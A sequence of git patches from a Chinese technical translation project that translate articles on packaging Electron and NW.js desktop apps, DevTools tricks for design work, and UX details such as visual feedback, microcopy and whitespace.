+不过，你的桌面应用可以比 web 应用的性能更高。因为你可以创建一个工作窗口，一个用于执行耗能昂贵工作的隐藏窗口。因为每个进程都是孤立的，所以任何在这个窗口中进行的计算或者处理不会影响到其他可见窗口的渲染进程，上下滚动等等。
 
 记住你总可以生成系统指令、可执行文件，或者原生代码，如果真的需要的话（你不会真的这么做的）。
 
-### Distribution 分发
-
-> Both NW.js and Electron support a wide array of platforms, including Windows, Mac and Linux. Electron doesn’t support Windows XP or Vista; NW.js does. Getting an NW.js app into the Mac App Store is a bit tricky; you’ll have to jump through a few hoops. Electron, on the other hand, comes with Mac App Store-compatible builds, which are just like the normal builds except that you don’t have access to some modules, such as the auto-updater module (which is fine because your app will update via the Mac App Store anyway).
-
-NW.js 和 Electron 都支持很多平台，包括 Windows，Mac 和 Linux。Electron 不支持 Windows XP 和 Vista，但 NW.js 支持。将 NW.js 应用上线到 Mac 的应用市场有些棘手，你必须绕几个弯子。而 Electron 支持直接的 Mac App Strore 兼容的版本，和普通的 app 一样，除非某些模块你并没有权限比如自动更新（因为你的 app 会通过 Mac App Store 更新所以可以接受）。
+### 分发
 
-> Electron even supports ARM builds, so your app can run on a Chromebook or Raspberry Pi. Finally, Google may be [phasing out Chrome Packaged Apps](http://blog.chromium.org/2016/08/from-chrome-apps-to-web.html), but NW.js allows you to port an app over to an NW.js app and still have access the same Chromium APIs.
+NW.js 和 Electron 都支持很多平台，包括 Windows，Mac 和 Linux。Electron 不支持 Windows XP 和 Vista，但 NW.js 支持。将 NW.js 应用上线到 Mac App Store 有些棘手，你必须绕几个弯子。而 Electron 支持直接的 Mac App Strore 兼容的版本，和普通的版本一样，只是某些模块你无法访问，比如自动更新（因为你的 app 会通过 Mac App Store 进行更新所以可以接受）。
 
 Electron 甚至支持 ARM 版本，所以你的 app 可以在 Chromebook 或者树莓派上运行，最终，Google 会[逐步淘汰 Chrome 封装应用 （Packaged App）](https://blog.chromium.org/2016/08/from-chrome-apps-to-web.html)，但是 NW.js 仍然支持将应用程序移植到 NW.js 应用，并且仍然可以访问相同的 Chromium API。
 
-> Even though 32-bit and 64-bit builds are supported, you’ll get away with 64-bit Mac and Windows apps. You will need 32-bit and 64-bit Linux apps, though, for compatibility.
-
 虽然 32 位和 64 位的版本都支持，你也可以使用 64 位的 Mac 和 Windows 应用。但是，为了兼容，32 位和 64 位 Linux 应用程序是都需要的。
 
-> So, let’s say that Electron has won over and you want to ship an Electron app. There’s a nice Node.js module named [electron-packager](https://github.com/electron-userland/electron-packager) that helps with packing your app up into an `.app` or `.exe` file. A few similar projects exist, including interactive ones that prompt you step by step. You should use [electron-builder](https://github.com/electron-userland/electron-builder), though, which builds on top of electron-packager, plus a few other related modules. It generates `.dmg`s and Windows installers and takes care of the code-signing of your app for you. This is really important. Without it, your app would be labelled as untrusted by operating systems, your app could trigger anti-virus software, and Microsoft SmartScreen might try to block the user from launching your app.
-
-假如 Electron 胜出，你想发行一个 Electron 应用。有一个很不错的 Node.js 包叫 [electron-packager](https://github.com/electron-userland/electron-packager) 可以帮你将 app 打包成一个 `.app` 或者 `.exe` 文件。也有其他几个类似的项目，包括交互式的一步一步告诉你该怎么做。你应该用 [electron-builder](https://github.com/electron-userland/electron-builder)，它以 electron-packager 为基础，添加了其他几个相关的模块，生成的是 `.dmg` 文件和 Windows 安装包，并且为你处理好了代码签名的问题。这很重要，如果没有这一步，你的应用将会被操作系统认为是不可信的，你的应用程序可能会触发防毒软件的运行，Microsoft SmartScree 可能会尝试阻止用户启动你的应用。
-
-> The annoying thing about code-signing is that you have to sign your app on a Mac for Mac and on Windows for Windows. So, if you’re serious about shipping desktop apps, then you’ll need to build on multiple machines for each release.
+假如 Electron 胜出，你想发行一个 Electron 应用。有一个很不错的 Node.js 包叫 [electron-packager](https://github.com/electron-userland/electron-packager) 可以帮你将 app 打包成一个 `.app` 或者 `.exe` 文件。也有其他几个类似的项目，包括交互式的一步一步告诉你该怎么做。不过，你应该用 [electron-builder](https://github.com/electron-userland/electron-builder)，它以 electron-packager 为基础，添加了其他几个相关的模块，生成的是 `.dmg` 文件和 Windows 安装包，并且为你处理好了代码签名的问题。这很重要，如果没有这一步，你的应用将会被操作系统认为是不可信的，你的应用程序可能会触发防毒软件的运行，Microsoft SmartScreen 可能会尝试阻止用户启动你的应用。
 
 关于代码签名的令人讨厌的事情是，你必须在 Mac 上为 Mac 和 Windows 上为 Windows 签署你的应用程序。因此，如果是认真要发行桌面应用的话，就需要为每个发行版本给多种机器构建。
 

From 2d842d5ce33416aa9b9b2f4c6074f0307fc4758d Mon Sep 17 00:00:00 2001
From: zhuzi <nmz89825@gmail.com>
Date: Mon, 3 Apr 2017 00:56:11 +0800
Subject: [PATCH 025/638] fix

---
 TODO/beyond-browser-web-desktop-apps.md | 18 ++++++++----------
 1 file changed, 8 insertions(+), 10 deletions(-)

diff --git a/TODO/beyond-browser-web-desktop-apps.md b/TODO/beyond-browser-web-desktop-apps.md
index de64241b0e6..8cc0d1526ff 100644
--- a/TODO/beyond-browser-web-desktop-apps.md
+++ b/TODO/beyond-browser-web-desktop-apps.md
@@ -1,5 +1,5 @@
-> * ​
-> * 原文作者：[Adam Lynch](https://www.smashingmagazine.com/author/adamlynch/)
+> * 原文地址：[Beyond The Browser: From Web Apps To Desktop Apps](https://www.smashingmagazine.com/2017/03/beyond-browser-web-desktop-apps/)
+> * 原文作者：本文已获原作者 [Adam Lynch](https://www.smashingmagazine.com/author/adamlynch/) 授权
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
 > * 译者： [bambooom](https://github.com/bambooom)
 > * 校对者：
@@ -46,7 +46,7 @@ Chromium 有一个主要的后台进程，每个标签页也会有自己的进
 
 创建一个应用很简单，只需要一个 HTML 文件和一个 `package.json` 文件，就像你平时使用 Node.js 时那样。你可以使用 `npm init --yes` 新建一个默认的。一般来说，`package.json` 会指定一个 JavaScript 文件作为模块的入口（也就是使用 `main` 属性），但是如果是 NW.js，你需要去编辑一下 `main` 指向你的 HTML 文件。
 
-```
+```json
 {
   "name": "example-app",
   "version": "1.0.0",
@@ -61,7 +61,7 @@ Chromium 有一个主要的后台进程，每个标签页也会有自己的进
 }
 ```
 
-```
+```html
 <!-- index.html -->
 <!DOCTYPE html>
 <html>
@@ -96,7 +96,7 @@ Chromium 有一个主要的后台进程，每个标签页也会有自己的进
 总之，NW.js 高效包装了原生的 API，让你可以简单的与桌面环境集成。
 比如你有一个托盘图标，使用系统默认应用打开一个文件或者 URL 之类的。你需要做的是使用 HTML5 notification 的 API 触发一个通知：
 
-```
+```javascript
 new Notification('Hello', {
   body: 'world'
 });
@@ -114,8 +114,6 @@ new Notification('Hello', {
 
 ![Logos of projects that use Electron](https://www.smashingmagazine.com/wp-content/uploads/2017/01/logos-preview-opt.png)
 
-> As well as Atom, other notable projects built with Electron include Slack, Visual Studio Code, Brave, HyperTerm and Nylas, which is really doing some cutting-edge stuff with it. Mozilla Tofino is an interesting one, too. It was an internal project at Mozilla (the company behind Firefox), with the aim of radically improving web browsers. Yeah, a team within Mozilla chose Electron (which is based on Chromium) for this experiment.
-
 和 Atom 一样，其他用 Electron 开发的有名项目包括 [Slack](https://slack.com/)、[Visual Studio Code](https://code.visualstudio.com/)、 [Brave](https://www.brave.com/)、[HyperTerm](https://hyper.is/)、[Nylas](https://www.nylas.com/)，真的是在做着一些尖端的东西。Mozilla Tofino 也是其中一个很有趣的，它是 Mozilla（ FireFox 的公司）的一个内部项目，目标是彻底优化浏览器。你没看错，Mozilla 的团队选择了 Electron （基于 Chromium ）来做这个实验。
 
 ### Electron 有什么不同呢？
@@ -132,7 +130,7 @@ Electron 团队修补了 Chromium 以便嵌入多个可以同时运行的 JavaSc
 
 那么当然，创建一个 Electron app，你需要的只是一个 JavaScript 文件（现在暂时只是个空文件）以及一个 `package.json` 文件指向它。然后你只需要执行 `npm install --save-dev electron`，以及 `electron .` 来启动你的 app。
 
-```
+```json
 {
   "name": "example-app",
   "version": "1.0.0",
@@ -153,7 +151,7 @@ Electron 团队修补了 Chromium 以便嵌入多个可以同时运行的 JavaSc
 
 没有什么会发生，因为你的 app 没有默认窗口。接下来你可以和 NW.js 一样打开任意多个窗口，每个都有各自的渲染进程。
 
-```
+```javascript
 // main.js
 const {app, BrowserWindow} = require('electron');
 let mainWindow;
@@ -166,7 +164,7 @@ app.on('ready', () => {
   mainWindow.loadURL('file://' + __dirname + '/index.html');
 });
 ```
-```
+```html
 <!-- index.html -->
 <!DOCTYPE html>
 <html>

From e7a096d0d125ef7ad729c37bf7deff94cf9b3c1f Mon Sep 17 00:00:00 2001
From: zhuzi <nmz89825@gmail.com>
Date: Mon, 3 Apr 2017 15:57:35 +0800
Subject: [PATCH 026/638] translation finished

---
 TODO/using-devtools-tweak-designs-browser.md | 80 ++++++++++----------
 1 file changed, 41 insertions(+), 39 deletions(-)

diff --git a/TODO/using-devtools-tweak-designs-browser.md b/TODO/using-devtools-tweak-designs-browser.md
index 04d05bce8c4..216564c3cce 100644
--- a/TODO/using-devtools-tweak-designs-browser.md
+++ b/TODO/using-devtools-tweak-designs-browser.md
@@ -1,21 +1,21 @@
 > * 原文地址：[Using DevTools to Tweak Designs in the Browser](https://css-tricks.com/using-devtools-tweak-designs-browser/)
 > * 原文作者：[AHMAD SHADEED](https://css-tricks.com/author/shadeed9/)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
+> * 译者：[bambooom](https://github.com/bambooom)
 > * 校对者：
 
-# Using DevTools to Tweak Designs in the Browser #
+# 使用开发者工具在浏览器中调整设计
 
-Let's look at some ways we can use the browsers DevTools to do design work. There are a few somewhat hidden tricks you mind find handy!
+让我们来看看使用浏览器的开发者工具做设计工作的几种方式。你会发现一些很方便的隐藏技巧。
 
-### Toggling Classes With Checkboxes
+### 使用复选框切换类名
 
-This is useful when trying to pick a design from different options or to toggle the active state of an element without adding the class manually in DevTools. 
+当你在从不同的选择中挑选一个设计时，或者在不手动添加类名的时候切换元素的状态时，这个技巧很有用。
 
-To achieve this, we could use different classes and scope styles inside them. So if we want to see different options for a banner design, we could so something like: 
+为了达到这一点，我们可以使用不同的类名和范围样式。那么如果想看看不同的横幅设计的样式的时候，我们可以这么做： 
 
 
-```
+```css
 .banner-1 {
   /* Style variation */
 }
@@ -24,55 +24,57 @@ To achieve this, we could use different classes and scope styles inside them. So
   /* Style variation */
 }
 ```
-  
-Google Chrome gives us the ability to add all of these classes and toggle (show/hide) them with a checkbox to make a quick comparison between them.
+
+Google Chrome 可以让我们添加所有类，并在其中使用复选框切换来快速比较不同的样式。
 
 [![](https://i.vimeocdn.com/video/623010079.webp?mw=700&mh=525)](https://player.vimeo.com/video/207830826)
 
-See the [demo Pen](http://codepen.io/shadeed/pen/e2a8f51691cad05bdfd5b14fb9365214?editors=0100).
+<video src="https://player.vimeo.com/video/207830826" controls></video>
+
+[可以看看 codepen demo](http://codepen.io/shadeed/pen/e2a8f51691cad05bdfd5b14fb9365214?editors=0100).
 
-### Editing Content with designMode
+### 开启 designMode 来编辑内容
 
-Web content is dynamic, so our design should be flexible and we should test for various types and lengths of content. For example, entering a very long word might break a design. To check that, we can edit our design right in the browser with `document.designMode`.
+web 内容是动态的，所以设计应该是灵活的，我们应该测试不同类型不同长度的内容。比方说，输入一个非常长的单词可能会破坏现有的设计。为了检查这个，我们可以在浏览器控制台里输入 `document.designMode = 'on'` 后编辑我们的设计。
 
 [![](https://i.vimeocdn.com/video/623015649.webp?mw=700&mh=525)](https://player.vimeo.com/video/207835383)
 
-This can help us test our design without editing the content manually in the source code. 
+这个可以很方便的测试设计而不需要手动在源代码中进行修改。
 
-### Hiding Elements
+### 隐藏元素
 
-Sometimes we need to hide elements in our design to check how it will look without them. Chrome DevTools give us the ability to inspect an element and type `h` from the keyboard to hide it by toggling CSS visibility property.
+有时我们需要隐藏某些元素试试看如果没有它的时候是什么样子。Chrome DevTools 可以让我们检查一个元素然后键盘输入 `h` 来隐藏它，也就是给元素添加 CSS 的 visibility 属性。
 
 [![](https://i.vimeocdn.com/video/623017144.webp?mw=700&mh=439)](https://player.vimeo.com/video/207836443)
 
-This is very useful in case you want to hide some elements to take a screenshot and then discuss it with your team/designer/manager. Sometimes I use this feature to hide elements and then take a screenshot to mock a quick idea in Photoshop.
+当你需要隐藏某些元素并截图，再和你的同事、设计师或者经理讨论的时候，这个功能非常有用。有时我会利用这个技巧去隐藏元素并截图后，在 PhotoShop 中快速模拟简单的想法。
 
-### Screenshotting design elements
+### 截图设计元素
 
-There is a useful feature in Firefox DevTools to take a screenshot of a specific element in the DOM. By doing that, we can compare our variations side by side to see which one is the best of our case.
+FireFox 的开发者工具中有一个很有用的功能，它可以给 DOM 中特定元素截图。这样的话，我们可以将几种不同的方案放在一起对比挑选最好的方案。
 
-Follow the below steps:
+这个功能需要这样操作：
 
-1. Open Firefox DevTools
-2. Right-click on an element and pick **Screenshot Node**
-3. The screenshots are saved in the default downloads folder
+1. 打开 FireFox 开发者工具
+2. 对一个元素右键，选择**节点截图**（**Screenshot Node**）
+3. 截图会存在默认的下载路径文件夹中
 
 ![](https://cdn.css-tricks.com/wp-content/uploads/2017/03/firefox-screenshot.jpg)
 
-If you want to use Chrome for screenshotting, you can. There is a [plugin](https://chrome.google.com/webstore/detail/element-screenshot/mhbapdljigafafoimcnnhagdclejnkcf) called "Element Screenshot" that does almost the same job.
+你也可以在 Chrome 中使用这个功能，有一个插件叫 [Element Screenshot](https://chrome.google.com/webstore/detail/element-screenshot/mhbapdljigafafoimcnnhagdclejnkcf) 可以达到相同的效果。
 
-### Changing Design Colors
+### 更改设计颜色
 
-In the early stages of every design projects, you might be exploring different color palettes. CSS' `hue-rotate` function is a powerful filter that provides us with the ability to change design colors right in the browser. It causes hue rotation for each pixel in an image or element. The value can be specified in `deg` or `rad`. 
+在设计项目的初期阶段，你可能需要探索多种不同的调色板。CSS 的 `hue-rotate` 函数是一共功能强大的过滤器，它可以让我们在浏览器中更改设计颜色。它可以旋转图像或元素中每个像素的色相。其中的值设定可以通过 `deg` 或者 `rad`。 
 
-In the below video, I added `filter: hue-rotate(value)` to the component, notice how all the colors change.
+在下面的视频中，我给组件添加了 `filter: hue-rotate(value)` 属性，注意看所有的颜色是如何变化的。
 
 [![](https://i.vimeocdn.com/video/623210796.webp?mw=700&mh=577)](https://player.vimeo.com/video/207995530)
 
-Notice that *every* design element got affected from applying `hue-rotate`. For example, the user avatar colors looks wrong. We can revert the normal look by applying the negative value of `hue-rotate`.
+注意*每个*设计元素都会被使用 `hue-rotate` 所影响。比如，用户头像的颜色好像不太对，我们可以通过应用 `hue-rotate` 的负值使之回复正常。
 
 
-```
+```css
 .bio__avatar {
   filter: hue-rotate(-100deg);
 }
@@ -81,13 +83,13 @@ Notice that *every* design element got affected from applying `hue-rotate`. For
 
 See the [demo Pen](http://codepen.io/shadeed/pen/2d611749947ac7688c2710248c473e50?editors=0010).
 
-### Using CSS Variables (Custom CSS Properties)
+### 使用 CSS 变量（自定义 CSS 属性）
 
-Even if the support is still not [perfectly cross-browser](http://caniuse.com/#feat=css-variables) friendly (it's [currently](https://developer.microsoft.com/en-us/microsoft-edge/platform/status/csscustompropertiesakacssvariables/?q=css%20v) in development in Microsoft Edge), we can get the benefit of CSS variables today. Using them to define the spacing and color units will make it easy to make huge changes by changing tiny values on the fly.
+虽然自定义属性的[浏览器支持](http://caniuse.com/#feat=css-variables)并不是很友好（现在 Microsoft Edge 现在[正在开发](https://developer.microsoft.com/en-us/microsoft-edge/platform/status/csscustompropertiesakacssvariables/?q=css%20v)）。我们现在也仍然可以从 CSS 变量中获益。使用自定义变量定义间距和颜色单位可以更改很小的值轻松实现巨大的变化。
 
-I defined the following for our web page:
+我在我们网页上定义了下面一些变量：
 
-```
+```css
 :root {
   --spacing-unit: 1em;
   --spacing-unit-half: calc(var(--spacing-unit) / 2); /* = 0.5em */
@@ -96,27 +98,27 @@ I defined the following for our web page:
 }
 ```
 
-These variables will be used throughout the website elements like links, nav items, borders and background colors. When changing a single variable from the dev tools, all the associated elements will be affected!
+这些变量可以在网站所有的元素上使用，就像链接、导航、边距和背景颜色。当在开发工具中更改一个变量的值，所有相关联的元素都会变更。
 
 ![](https://cdn.css-tricks.com/wp-content/uploads/2017/03/Screen-Shot-2017-03-12-at-4.34.47-PM.jpg)
 
-### Invert elements with CSS `filter: invert()`
+### 使用 CSS 属性 `filter: invert()` 翻转元素 
 
-This is useful when you have a white text on black background or vice versa. For instance, in the header, we have the page title in white on a black background, and by adding `filter: invert` to the element, all the colors will be inverted. 
+当你在黑底白字或者白底黑字的情况下，这个属性是很有用的。打个比方，在标题中，我们在黑色背景上将页面标题设为白色，然后在元素上添加了 `filter: invert()`属性，所有的颜色就会被反转。 
 
 ![](https://cdn.css-tricks.com/wp-content/uploads/2017/03/invert-filter.gif)
 
-### CSS Visual Editor
+### CSS 视觉编辑器
 
-This feature is becoming better every day. Safari has really nice UI tools for editing values. Chrome is adding similar things slowly to DevTools.
+这个功能每天都在变得越来越好。Safari 具有非常好的用于编辑值的 UI 工具，Chrome 也正在向 DevTools 中缓慢添加类似的东西。
 
 [![](https://i.vimeocdn.com/video/623229127.webp?mw=700&mh=525)](https://player.vimeo.com/video/208011466)
 
-Chrome has some cool stuff for things like `box-shadow`, `background-color`, `text-shadow` and `color`.
+Chrome 有些很酷的工具用来编辑 `box-shadow`、`background-color`、`text-shadow` 和 `color`.
 
 ![](https://cdn.css-tricks.com/wp-content/uploads/2017/03/chrome-visual-css.gif)
 
-I think this will be very useful for designers who doesn't know much about CSS. Editing things visually like that will give them more control over some design details, they can tweak things in the browser and show the result to the developer to be implemented.
+我想上面这些技巧对于并不是特别熟悉 CSS 的设计师会很有帮助。直接视觉上的进行编辑会给设计师更多对设计细节的把控，他们可以在浏览器中调整并将结果显示给开发人员来实现。
 
 ---
 

From 3c74aa859301f24ebd716461b34c3bba7baf4303 Mon Sep 17 00:00:00 2001
From: zhuzi <nmz89825@gmail.com>
Date: Mon, 3 Apr 2017 16:04:23 +0800
Subject: [PATCH 027/638] remove testing video tag

---
 TODO/using-devtools-tweak-designs-browser.md | 2 --
 1 file changed, 2 deletions(-)

diff --git a/TODO/using-devtools-tweak-designs-browser.md b/TODO/using-devtools-tweak-designs-browser.md
index 216564c3cce..c3bf4632f8d 100644
--- a/TODO/using-devtools-tweak-designs-browser.md
+++ b/TODO/using-devtools-tweak-designs-browser.md
@@ -29,8 +29,6 @@ Google Chrome 可以让我们添加所有类，并在其中使用复选框切换
 
 [![](https://i.vimeocdn.com/video/623010079.webp?mw=700&mh=525)](https://player.vimeo.com/video/207830826)
 
-<video src="https://player.vimeo.com/video/207830826" controls></video>
-
 [可以看看 codepen demo](http://codepen.io/shadeed/pen/e2a8f51691cad05bdfd5b14fb9365214?editors=0100).
 
 ### 开启 designMode 来编辑内容

From b283c625a06d950cdb3e69dfc75c24acb742b34e Mon Sep 17 00:00:00 2001
From: ivyxuan <iloveivyxuan@gmail.com>
Date: Mon, 3 Apr 2017 23:13:09 +0800
Subject: [PATCH 028/638] =?UTF-8?q?=E7=BF=BB=E8=AF=91=E5=AE=8C=E6=88=90?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/the-details-that-matter.md | 216 ++++++++++++++++++++++++++++++++
 1 file changed, 216 insertions(+)
 create mode 100644 TODO/the-details-that-matter.md

diff --git a/TODO/the-details-that-matter.md b/TODO/the-details-that-matter.md
new file mode 100644
index 00000000000..36011d811c3
--- /dev/null
+++ b/TODO/the-details-that-matter.md
@@ -0,0 +1,216 @@
+> * 原文地址：[The Details That Matter](https://uxplanet.org/the-details-that-matter-8b962ca58b49#.ypigeruoq)
+> * 原文作者：[Nick Babich](https://uxplanet.org/@101?source=post_header_lockup)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*9QIpe-Mce0ltsgQ0f0lYWQ.png">
+
+# The Details That Matter #
+# 细节是产品设计的重中之重 #
+
+
+Your product’s success is based on a combination of factors, but the overall user experience tops them all. When it comes down to designing a new app or a site, sticking to best practices is a solid way to go, but during the creation of the big picture, it’s fairly easy to skimp over design elements that feel like nice to have but not necessary. However, the difference between good and bad experiences often comes down to how thoughtful we can design these small details.
+一个产品的成功是由各种因素共同造就的，而其中最重要的因素，就是整体的用户体验。在设计一款新的应用或是网站的时候，坚持最佳的实践规范是一个可靠的方法，但是在创造宏伟蓝图的时候，人们很容易就会省略掉那些能让人有更好的体验但却并非必要的设计元素。然而，设计的优劣往往在于我们能设计出多么体贴的细节。
+
+In this article, I’ll focus on *visual feedback*, *microcopy* and *whitespace* and you’ll see why these *little big details* are just as important as the more obvious elements of your design, and how they help determine the success of your product.
+在这篇文章中，我将会关注可视化反馈、小的提示信息还有留白这几个方面，你会发现为什么这些不起眼的细节和那些显眼的设计元素相比同样重要，而这些细节又是怎样决定你产品成败的。
+
+### Visual Feedback ###
+### 可视化反馈 ###
+
+Visual feedback might be easily overlooked in the greater design scheme, but it actually hold the entire experience together. When there’s no feedback there’s no proper interaction. Imagine talking to someone who doesn’t respond in any way — you can’t communicate at all. Same goes for your app.
+可视化反馈在较大的设计方案里很容易就会被忽视掉，但它实际上贯穿整体的用户体验流程。可以说，如果没有反馈就没有所谓的交互，你能想象和一个人聊天，可他一点反应也不给你吗 —— 你根本就聊不下去。而对于你的应用也是同样的道理。
+
+> *Lack of visual feedback is able to confuse users.*
+> **缺乏可视化的反馈会让用户感到困惑。**
+
+You must ensure that there is always some feedback for user actions, because it makes users feel in control. Visual feedback
+你必须要确保对于用户的每个动作都有相应的反应，因为这会让用户会感觉他在控制着一切。可视化反馈
+
+- Acknowledges that the app has received a user’s action.
+- Communicates the results of interaction, making it both *visible* and *understandable*. Gives the user a signal that they (or the app) have succeeded or failed at performing a task.
+- 首先表明这个应用了解了用户的操作。
+- 然后它通过一种可视化而且易于理解的方式告诉用户这次交互的结果是什么，通过给用户一个信号，来告诉用户自己对于这个任务的执行是成功还是失败。
+
+#### Make buttons and other controls tangible ####
+#### 让按钮或是其他开关看起来是可以碰的 ####
+
+In real life, buttons, controls and objects respond to our interaction, and this is how people expect things to work. People expect a similar level of responsiveness from app elements.
+在现实生活中，按钮、开关还有其他东西都会对我们的动作有所回应，人们觉得世界就是这样运转的。而同样，人们也会期待应用里的元素能有类似的回应。
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*CJmWiRBN2cwd53TfcyTd8g.gif">
+
+Image credits: [Ramotion](https://dribbble.com/shots/1749645-Contact-Sync)
+图片来源：[Ramotion](https://dribbble.com/shots/1749645-Contact-Sync)
+
+#### Result of operation ####
+#### 操作的结果 ####
+
+Visual feedback is also helpful when you need to inform users about results of an operation. You can use existing elements to deliver a feedback.
+当你需要告诉用户他的操作结果是什么的时候，可视化反馈就很有用了。你可以利用现有的元素去传递反馈信息。
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*6YGP-5TxLJSuDwBYsKzREg.gif">
+
+Image credits: [Colin Garven](https://dribbble.com/ColinGarven)
+图片来源：[Colin Garven](https://dribbble.com/ColinGarven)
+
+#### **System should tell users its state** ####
+#### **系统需要告诉用户他的状态是什么** ####
+
+Users want to know their current context in a system at any given time and apps shouldn’t keep them guessing — they should tell the user what’s happening via appropriate visual feedback. For frequent and minor actions, the response can be modest, while for infrequent and major actions, the response should be more substantial.
+在系统中，用户任何时候都会想知道他此刻的状态是什么，而应用不应该让用户自己猜 —— 所以系统应该通过恰当的可视化反馈告诉用户此刻正在发生什么。对于一些常见而且次要的操作，适当的反馈就可以了，而对于不寻常而且重要的操作，反馈就需要更明显一点。
+
+- [Animated notification](https://uxplanet.org/3-key-uses-for-animation-in-mobile-ui-design-4d7c482dd84b#.x07lyyazb) makes it possible for a user to quickly understand the current status.
+- [动态提醒](https://uxplanet.org/3-key-uses-for-animation-in-mobile-ui-design-4d7c482dd84b#.x07lyyazb)可以让用户立刻明白此时的状态。
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*wU-ATdbQDPg6MTYZtNfTxw.gif">
+
+Image credits: [Eddy Gann](https://dribbble.com/SMSeddy)
+图片来源：[Eddy Gann](https://dribbble.com/SMSeddy)
+
+- [Loading animations](https://uxplanet.org/progress-indicators-in-mobile-ux-design-a141e22f3ea0#.etoavwmbw) provides real-time notification of app’s process status, enabling the user to quickly understand what is going on.
+- [加载动画](https://uxplanet.org/progress-indicators-in-mobile-ux-design-a141e22f3ea0#.etoavwmbw)是对于应用进程的实时提醒，可以让用户立刻明白现在加载到哪里了。
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*cd858x6Yb2k7lountEkefA.gif">
+
+A loading bar engages the user and prevents confusion when app is busy loading data. Image credits: [Mark](https://dribbble.com/milkycookie)
+图片来源：[Mark](https://dribbble.com/milkycookie)
+应用无法快速加载信息的时候，进度条可以避免让用户感到困惑。图片来源：[Mark](https://dribbble.com/milkycookie)
+
+### Microcopy ###
+### 小的文字信息 ###
+
+Microcopy is the little bits of text that guide users through an experience. Microcopy examples are error messages, button labels, hint text. At a glance, these tiny clusters of words seem insignificant when compared to the overall app design. But surprisingly, they have a huge impact on conversions.
+小的文字信息是一些用来是指导用户行为的极为小的文字。举一些例子就是，错误信息、按钮对应的标签、提示信息。乍看之下，这么一小点文字和整个应用设计比起来一点也不重要，但出人意料的是，它们对转化率有着极为重要的影响。
+
+> Writing good microcopy in your app is just as important as having the app work correctly and the user interface being easy and efficient to use.
+> 在应用里写出好的文字信息，和让应用正常运行、用户界面易于使用一样重要。
+
+#### Show that you’re human ####
+#### 让应用看起来像一个有血有肉的人 ####
+
+A quick way to make your UI warmer and less mechanical is a human tone in the copy. If your product sounds human, it’s easier for people to trust you.
+有一个快速的方法能让你的 UI 变得温暖而不呆板，就是用人说话的口吻去描述内容。如果你的产品听起来好像是一个人，用户就会更加的信任你。
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*r8YCZlga38mG_gX1JyLZWQ.png">
+
+Yelp shows they have real humans in charge.
+Yelp 表现得好像他们是真人在负责这件事情。
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*BOI3X5Qe6tflo6yCDmNmoA.png">
+
+Airbnb sound human and conversational
+Airbnb 的提示听起来像人说的话而且语气还很随和。
+
+#### Use friendly and helpful copy in a moment of failure ####
+#### 报错的方式要友好而且有效 ####
+
+How errors are communicated can have a huge impact on the way someone experiences your product. Often overlooked, an ill-constructed error message can fill users with frustration.
+表达错误信息的方式会严重影响产品的用户体验。通常来说，省略错误信息或是没有正确描述错误信息都会让用户感到失望。
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*1EESYQmM9pt_SScMmgQqEg.png">
+
+*An alert message such as “An error occurred” is mystifying to all users and is likely to annoy experienced users.*
+**像“出错啦”这种警告对所有的用户都会造成困扰，而且还会惹恼专家级用户。**
+
+A well-crafted error message, on the other hand, can turn a moment of frustration into a moment of delight. Thus, make error messages human, not technical, and suited to your audience.
+但是，一个精心设计过的错误信息，会顿时化失望为欣喜。所以，把报错变得人性化、不用技术性的语言并且适合你的用户群体。
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*gX0GBH3BM_d_yjhk8Yvlaw.png">
+
+Error states must incorporate concise, friendly, and instructive copy as to what to do next.
+错误状态一定要具体、友好而且有用，要告诉用户下一步怎么做。
+
+#### Alleviate users concerns ####
+#### 减少用户的担忧 ####
+
+Microcopy is extremely contextual. That’s why it’s so valuable. It answers a very specific question people have and speaks to their concerns right on the spot. For example, microcopy can be fundamental in reassuring your users at the point of subscribing or sharing details. Whilst ‘not to spam/auto-tweet’ might be taken for granted by good marketers when asking for email address/access to the social network account connections, the user is less than sure. Thus, when people add their emails or connect their Twitter accounts, say “we hate spam as much as you do.”
+小的文字信息是很情景化的，这也是为什么它很重要的一个原因。它可以解答用户具体情况下的问题，并针对他们所担忧的事情进行直接地交流。举例来说，当用户选择订阅或是提供了具体信息的时候，一些文字信息对于消除用户担忧会起到相当关键的作用。对于优秀的营销人员来说，“不会有群发消息或是自动关注”是理所当然的事情，但用户自己会存疑。因此，当用户添加了他们的邮箱地址或者绑定了 Twitter 账号的时候，一定要明确表态“我们和你一样讨厌垃圾消息”。
+
+<img class="progressiveMedia-noscript js-progressiveMedia-inner" src="https://cdn-images-1.medium.com/max/800/1*Cl0P6ebhZTDkCGAHGjLnhA.png">
+
+This microcopy covers all the potential user concerns in one tight little sentence.
+这只是一小段紧凑的文字，却涵盖了用户所有潜在的担忧。
+
+### Whitespace ###
+### 留白 ###
+
+Whitespace (or negative space) is the areas of a design where there is no element placed by a designer. Elements of whitespace are space around images, margins, paddings, line-spacing and letter-spacing within text content. Although many may consider it a waste of valuable screen estate, whitespace is an essential element in user interface design.
+留白（或者说是负空间）是设计师没有摆放设计元素的地方。而设计元素间的留白是指处在图片间、内填充（margin）、外填充（padding）和行间、字间的空白。虽然很多人觉得这些空白浪费了宝贵的界面位置，但其实，留白是用户界面设计的一个重要元素。
+
+#### Improve UI comprehension ####
+#### 让用户界面更容易理解 ####
+
